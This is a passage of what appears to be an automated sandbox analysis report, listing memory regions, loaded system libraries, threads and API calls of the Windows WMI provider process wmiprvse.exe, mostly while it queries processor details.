mapped_file name = "cimwin32.dll.mui" filename = "\\Windows\\System32\\wbem\\en-US\\cimwin32.dll.mui" (normalized: "c:\\windows\\system32\\wbem\\en-us\\cimwin32.dll.mui") Region: id = 1755 start_va = 0xaa0000 end_va = 0xb1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 1756 start_va = 0xb40000 end_va = 0xbbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b40000" filename = "" Region: id = 1757 start_va = 0xc20000 end_va = 0xc9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c20000" filename = "" Region: id = 1758 start_va = 0xcd0000 end_va = 0xd4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000cd0000" filename = "" Region: id = 1759 start_va = 0xd60000 end_va = 0xddffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d60000" filename = "" Region: id = 1760 start_va = 0xe10000 end_va = 0xe8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e10000" filename = "" Region: id = 1761 start_va = 0xe90000 end_va = 0xf8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e90000" filename = "" Region: id = 1762 start_va = 0xf90000 end_va = 0x100ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f90000" filename = "" Region: id = 1763 start_va = 0x1070000 end_va = 0x10effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001070000" filename = "" Region: id = 1764 start_va = 0x72d50000 end_va = 0x72d52fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "security.dll" filename = "\\Windows\\System32\\security.dll" (normalized: "c:\\windows\\system32\\security.dll") Region: id = 1765 start_va = 0x72d60000 end_va = 0x72d62fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wmi.dll" filename = "\\Windows\\System32\\wmi.dll" (normalized: "c:\\windows\\system32\\wmi.dll") Region: id = 1766 start_va = 0x77660000 end_va = 0x7777efff monitored = 0 entry_point = 0x77675340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1767 start_va = 0x77780000 end_va = 0x77879fff monitored = 0 entry_point = 0x7779a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1768 start_va = 0x77880000 end_va = 0x77a28fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1769 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1770 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1771 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1772 start_va = 0x13f330000 end_va = 0x13f39bfff monitored = 0 entry_point = 0x13f36b450 region_type = mapped_file name = "wmiprvse.exe" filename = "\\Windows\\System32\\wbem\\WmiPrvSE.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiprvse.exe") Region: id = 1773 start_va = 0x7fef2520000 end_va = 0x7fef2529fff monitored = 0 entry_point = 0x7fef25231c8 region_type = mapped_file name = "schedcli.dll" filename = "\\Windows\\System32\\schedcli.dll" (normalized: "c:\\windows\\system32\\schedcli.dll") Region: id = 1774 start_va = 0x7fef2530000 end_va = 0x7fef2541fff monitored = 0 entry_point = 0x7fef253aab8 region_type = mapped_file name = "browcli.dll" filename = "\\Windows\\System32\\browcli.dll" (normalized: "c:\\windows\\system32\\browcli.dll") Region: id = 1775 start_va = 0x7fef2630000 end_va = 0x7fef2829fff monitored = 1 entry_point = 0x7fef2644c9c region_type = mapped_file name = "cimwin32.dll" filename = "\\Windows\\System32\\wbem\\cimwin32.dll" (normalized: "c:\\windows\\system32\\wbem\\cimwin32.dll") Region: id = 1776 start_va = 0x7fef4dc0000 end_va = 0x7fef4e02fff monitored = 0 entry_point = 0x7fef4de1b50 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\System32\\framedynos.dll" (normalized: "c:\\windows\\system32\\framedynos.dll") Region: id = 1777 start_va = 0x7fef72f0000 end_va = 0x7fef731bfff monitored = 0 entry_point = 0x7fef7308194 region_type = mapped_file name = "wmipcima.dll" filename = "\\Windows\\System32\\wbem\\wmipcima.dll" (normalized: "c:\\windows\\system32\\wbem\\wmipcima.dll") Region: id = 1778 start_va = 0x7fef9690000 end_va = 0x7fef96a1fff monitored = 0 entry_point = 0x7fef96989d0 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 1779 start_va = 0x7fef97d0000 end_va = 0x7fef97f0fff monitored = 0 entry_point = 0x7fef97e03b0 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 1780 start_va = 0x7fef98f0000 end_va = 0x7fef9902fff monitored = 0 entry_point = 0x7fef98f1d80 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 1781 start_va = 0x7fef9bd0000 end_va = 0x7fef9bddfff monitored = 0 entry_point = 0x7fef9bd5500 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 1782 start_va = 0x7fef9be0000 end_va = 0x7fef9c06fff monitored = 0 entry_point = 0x7fef9be11a0 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 1783 start_va = 0x7fef9c10000 end_va = 0x7fef9ce2fff monitored = 0 entry_point = 0x7fef9c88b00 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 1784 start_va = 0x7fef9e70000 end_va = 0x7fef9ee6fff monitored = 1 entry_point = 0x7fef9eae7f0 region_type = mapped_file name = "wbemcomn2.dll" filename = "\\Windows\\System32\\wbemcomn2.dll" (normalized: "c:\\windows\\system32\\wbemcomn2.dll") Region: id = 1785 start_va = 0x7fefb130000 end_va = 0x7fefb13efff monitored = 0 entry_point = 0x7fefb131040 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll") Region: id = 1786 start_va = 0x7fefb380000 end_va = 0x7fefb38bfff monitored = 0 entry_point = 0x7fefb3815d8 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 1787 start_va = 0x7fefb770000 end_va = 0x7fefb79bfff monitored = 0 entry_point = 0x7fefb7715c4 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 1788 start_va = 0x7fefb850000 end_va = 0x7fefb87cfff monitored = 0 entry_point = 0x7fefb851010 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 1789 start_va = 0x7fefb8b0000 end_va = 0x7fefb8b7fff monitored = 0 entry_point = 0x7fefb8b11a0 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\System32\\winbrand.dll" (normalized: "c:\\windows\\system32\\winbrand.dll") Region: id = 1790 start_va = 0x7fefb9d0000 end_va = 0x7fefb9e3fff monitored = 0 entry_point = 0x7fefb9d16b4 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 1791 start_va = 0x7fefb9f0000 end_va = 0x7fefba04fff monitored = 0 entry_point = 0x7fefb9f1050 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 1792 start_va = 0x7fefba10000 end_va = 0x7fefba1bfff monitored = 0 entry_point = 0x7fefba118a4 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 1793 start_va = 0x7fefba20000 end_va = 0x7fefba35fff monitored = 0 entry_point = 0x7fefba211a0 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 1794 start_va = 0x7fefbb50000 end_va = 0x7fefbb60fff monitored = 0 entry_point = 0x7fefbb51070 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 1795 start_va = 0x7fefccc0000 end_va = 0x7fefccc9fff monitored = 0 entry_point = 0x7fefccc3cb8 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 1796 start_va = 0x7fefcdc0000 end_va = 0x7fefce06fff monitored = 0 entry_point = 0x7fefcdc1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1797 start_va = 0x7fefce50000 end_va = 0x7fefcea6fff monitored = 0 entry_point = 0x7fefce55e38 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll") Region: id = 1798 start_va = 0x7fefceb0000 end_va = 0x7fefcedffff monitored = 0 entry_point = 0x7fefceb194c region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll") Region: id = 1799 start_va = 0x7fefd0c0000 end_va = 0x7fefd0d7fff monitored = 0 entry_point = 0x7fefd0c3b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1800 start_va = 0x7fefd230000 end_va = 0x7fefd251fff monitored = 0 entry_point = 0x7fefd235d30 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 1801 start_va = 0x7fefd5c0000 end_va = 0x7fefd5e2fff monitored = 0 entry_point = 0x7fefd5c1198 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 1802 start_va = 0x7fefd660000 end_va = 0x7fefd66afff monitored = 0 entry_point = 0x7fefd661030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 1803 start_va = 0x7fefd690000 end_va = 0x7fefd6b4fff monitored = 0 entry_point = 0x7fefd699658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1804 start_va = 0x7fefd6c0000 end_va = 0x7fefd6cefff monitored = 0 entry_point = 0x7fefd6c1010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1805 start_va = 0x7fefd770000 end_va = 0x7fefd7acfff monitored = 0 entry_point = 0x7fefd7718f4 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 1806 start_va = 0x7fefd7b0000 end_va = 0x7fefd7c3fff monitored = 0 entry_point = 0x7fefd7b10e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 1807 start_va = 0x7fefd870000 end_va = 0x7fefd87efff monitored = 0 entry_point = 0x7fefd871020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 1808 start_va = 0x7fefd920000 end_va = 0x7fefd98bfff monitored = 0 entry_point = 0x7fefd922780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1809 start_va = 0x7fefd990000 end_va = 0x7fefd9a9fff monitored = 0 entry_point = 0x7fefd991558 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 1810 start_va = 0x7fefd9b0000 end_va = 0x7fefd9e5fff monitored = 0 entry_point = 0x7fefd9b1474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 1811 start_va = 0x7fefd9f0000 end_va = 0x7fefda2afff monitored = 0 entry_point = 0x7fefd9f1324 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 1812 start_va = 0x7fefda30000 end_va = 0x7fefdb9cfff monitored = 0 entry_point = 0x7fefda310b4 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 1813 start_va = 0x7fefde50000 end_va = 0x7fefdee8fff monitored = 0 entry_point = 0x7fefde51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1814 start_va = 0x7fefdef0000 end_va = 0x7fefdf0efff monitored = 0 entry_point = 0x7fefdef60e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1815 start_va = 0x7fefdf10000 end_va = 0x7fefe112fff monitored = 0 entry_point = 0x7fefdf33330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1816 start_va = 0x7fefe120000 end_va = 0x7fefe1e8fff monitored = 0 entry_point = 0x7fefe19a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1817 start_va = 0x7fefef80000 end_va = 0x7fefef8dfff monitored = 0 entry_point = 0x7fefef81080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1818 start_va = 0x7fefef90000 end_va = 0x7feff166fff monitored = 0 entry_point = 0x7fefef91010 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 1819 start_va = 0x7feff3d0000 end_va = 0x7feff4d8fff monitored = 0 entry_point = 0x7feff3d1064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1820 start_va = 0x7feff4e0000 end_va = 0x7feff531fff monitored = 0 entry_point = 0x7feff4e10d4 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 1821 start_va = 0x7feff540000 end_va = 0x7feff547fff monitored = 0 entry_point = 0x7feff541504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 1822 start_va = 0x7feff550000 end_va = 0x7feff626fff monitored = 0 entry_point = 0x7feff553274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1823 start_va = 0x7feff7d0000 end_va = 0x7feff86efff monitored = 0 entry_point = 0x7feff7d25a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1824 start_va = 0x7feff870000 end_va = 0x7feff94afff monitored = 0 entry_point = 0x7feff890760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1825 start_va = 0x7feff950000 end_va = 0x7feff97dfff monitored = 0 entry_point = 0x7feff951010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1826 start_va = 0x7feff980000 end_va = 0x7feff9e6fff monitored = 0 entry_point = 0x7feff98b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1827 start_va = 0x7feffa10000 end_va = 0x7feffa5cfff monitored = 0 entry_point = 0x7feffa11070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1828 start_va = 0x7feffa60000 end_va = 0x7feffb8cfff monitored = 0 entry_point = 0x7feffaaed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1829 start_va = 0x7feffba0000 end_va = 0x7feffba0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1830 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 1831 start_va = 0x7fffffac000 end_va = 0x7fffffadfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 1832 start_va = 0x7fffffae000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 1833 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1834 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 1835 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 1836 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 1837 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 1838 start_va = 0x7fffffdb000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 1839 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 1840 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2371 start_va = 0xca0000 end_va = 0xd1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ca0000" filename = "" Region: id = 2785 start_va = 0xcc0000 end_va = 0xd3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000cc0000" filename = "" Thread: id = 60 os_tid = 0xd28 Thread: id = 61 os_tid = 0xd24 Thread: id = 62 os_tid = 0xd20 [0195.847] DllCanUnloadNow () returned 0x1 [0316.597] DllCanUnloadNow () returned 0x1 Thread: id = 63 os_tid = 0xd1c Thread: id = 64 os_tid = 0xd18 [0148.438] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0148.483] SetLastError (dwErrCode=0x0) [0148.483] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xdde8c8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xdde7d0 | out: pulNumLanguages=0xdde8c8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xdde7d0) returned 1 [0148.484] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x8) returned 0x36da30 [0148.484] SetLastError (dwErrCode=0x0) [0148.484] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xdde8c8, pwszLanguagesBuffer=0x36da30, pcchLanguagesBuffer=0xdde7d0 | out: pulNumLanguages=0xdde8c8, pwszLanguagesBuffer=0x36da30, pcchLanguagesBuffer=0xdde7d0) returned 1 [0148.484] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x8) returned 0x36da90 [0148.484] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x36da30 | out: hHeap=0x330000) returned 1 [0148.484] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x20) returned 0x397000 [0148.484] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x397000, pulNumLanguages=0xdde8c8 | out: pulNumLanguages=0xdde8c8) returned 1 [0148.486] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x397000 | out: hHeap=0x330000) returned 1 [0148.505] SafeArrayGetElemsize (psa=0x3c9c80) returned 0x8 [0148.505] SafeArrayPutElement (psa=0x3c9c80, rgIndices=0xdde100, pv=0x3d1178) returned 0x0 [0148.505] SafeArrayRedim (in: psa=0x3c9c80, psaboundNew=0xdde118 | out: psa=0x3c9c80) returned 0x0 [0148.505] SafeArrayCopy (in: psa=0x3c9c80, ppsaOut=0xdde060 | out: ppsaOut=0xdde060) returned 0x0 [0148.513] malloc (_Size=0x600) returned 0x1a6890 [0148.513] GetLogicalProcessorInformationEx (in: RelationshipType=0xffff, Buffer=0x0, ReturnedLength=0xdde01c | out: Buffer=0x0, ReturnedLength=0xdde01c) returned 0 [0148.513] GetLastError () returned 0x7a [0148.513] malloc (_Size=0x250) returned 0x1bfa10 [0148.513] GetLogicalProcessorInformationEx (in: RelationshipType=0xffff, Buffer=0x1bfa10, ReturnedLength=0xdde01c | out: Buffer=0x1bfa10, ReturnedLength=0xdde01c) returned 1 [0148.513] GetActiveProcessorCount (GroupNumber=0xffff) returned 0x4 [0148.514] GetMaximumProcessorGroupCount () returned 0x1 [0148.514] malloc (_Size=0x40) returned 0x19d900 [0148.514] malloc (_Size=0x40) returned 0x19d950 [0148.514] malloc (_Size=0x8) returned 0x1a3890 [0148.520] memcpy (in: _Dst=0x19d900, _Src=0x1bfa30, _Size=0x10 | out: _Dst=0x19d900) returned 0x19d900 [0148.521] GetActiveProcessorCount (GroupNumber=0x0) returned 0x4 [0148.521] NtPowerInformation (in: InformationLevel=0x2e, InputBuffer=0xdde014, InputBufferLength=0x2, OutputBuffer=0x1a6890, OutputBufferLength=0x60 | out: OutputBuffer=0x1a6890) returned 0x0 [0148.521] _vsnwprintf (in: _Buffer=0xdddeb0, _BufferCount=0x63, _Format="CPU%d", _ArgList=0xddd7a8 | out: _Buffer="CPU0") returned 4 [0148.522] GetCurrentThread () returned 0xfffffffffffffffe [0148.523] SetThreadGroupAffinity (in: hThread=0xfffffffffffffffe, GroupAffinity=0xddd680, PreviousGroupAffinity=0xddd690 | out: PreviousGroupAffinity=0xddd690) returned 1 [0148.523] GetSystemInfo (in: lpSystemInfo=0xddd840 | out: lpSystemInfo=0xddd840*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7fffffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x6a06)) [0148.523] mbstowcs (in: _Dest=0xdddac8, _Source="GenuineIntel", _MaxCount=0x28 | out: _Dest="GenuineIntel") returned 0xc [0148.524] _wcsicmp (_String1="GenuineIntel", _String2="GenuineIntel") returned 0 [0148.528] mbstowcs (in: _Dest=0xddd938, _Source="Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz", _MaxCount=0x28 | out: _Dest="Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz") returned 0x27 [0148.528] GetCurrentThread () returned 0xfffffffffffffffe [0148.528] SetThreadGroupAffinity (in: hThread=0xfffffffffffffffe, GroupAffinity=0xddd690, PreviousGroupAffinity=0x0 | out: PreviousGroupAffinity=0x0) returned 1 [0148.536] LoadStringW (in: hInstance=0x7fef2630000, uID=0x2c, lpBuffer=0xddd500, cchBufferMax=256 | out: lpBuffer="CPU %d") returned 0x6 [0148.549] _vsnwprintf (in: _Buffer=0xdddde0, _BufferCount=0x40, _Format="%04X%04X%04X%04X", _ArgList=0xddd7a8 | out: _Buffer="0F8BFBFF000606A6") returned 16 [0148.551] lstrlenW (lpString=" 0") returned 2 [0148.552] lstrlenW (lpString="Intel(R) Xeon(R) Silver 4314 CPU @ 2.40GHz") returned 42 [0148.553] RtlNumberOfSetBitsUlongPtr (Target=0x1) returned 0x1 [0148.553] RtlNumberOfSetBitsUlongPtr (Target=0x2) returned 0x1 [0148.553] RtlNumberOfSetBitsUlongPtr (Target=0x4) returned 0x1 [0148.553] RtlNumberOfSetBitsUlongPtr (Target=0x8) returned 0x1 [0148.553] _vsnwprintf (in: _Buffer=0xdde0c0, _BufferCount=0x63, _Format="CPU%d", _ArgList=0xdddfe8 | out: _Buffer="CPU0") returned 4 [0148.556] free (_Block=0x1a3890) [0148.556] free (_Block=0x19d950) [0148.557] free (_Block=0x19d900) [0148.557] free (_Block=0x1bfa10) [0148.557] free (_Block=0x1a6890) [0148.592] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x4) returned 0x36da30 [0148.592] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x36da30, pulNumLanguages=0xdde8c0 | out: pulNumLanguages=0xdde8c0) returned 1 [0148.592] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x36da30 | out: hHeap=0x330000) returned 1 [0150.964] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 Thread: id = 65 os_tid = 0xd14 Thread: id = 66 os_tid = 0xd10 Thread: id = 67 os_tid = 0xd0c Thread: id = 68 os_tid = 0xd08 Thread: id = 105 os_tid = 0xaa8 Thread: id = 113 os_tid = 0xb20 Process: id = "5" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x64e7c000" os_pid = "0x614" os_integrity_level = "0x4000" os_privileges = "0xe60b1e990" monitor_reason = "rpc_server" parent_id = "3" os_parent_pid = "0x254" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xa], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000da1c" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 2109 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2110 start_va = 0x20000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2111 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 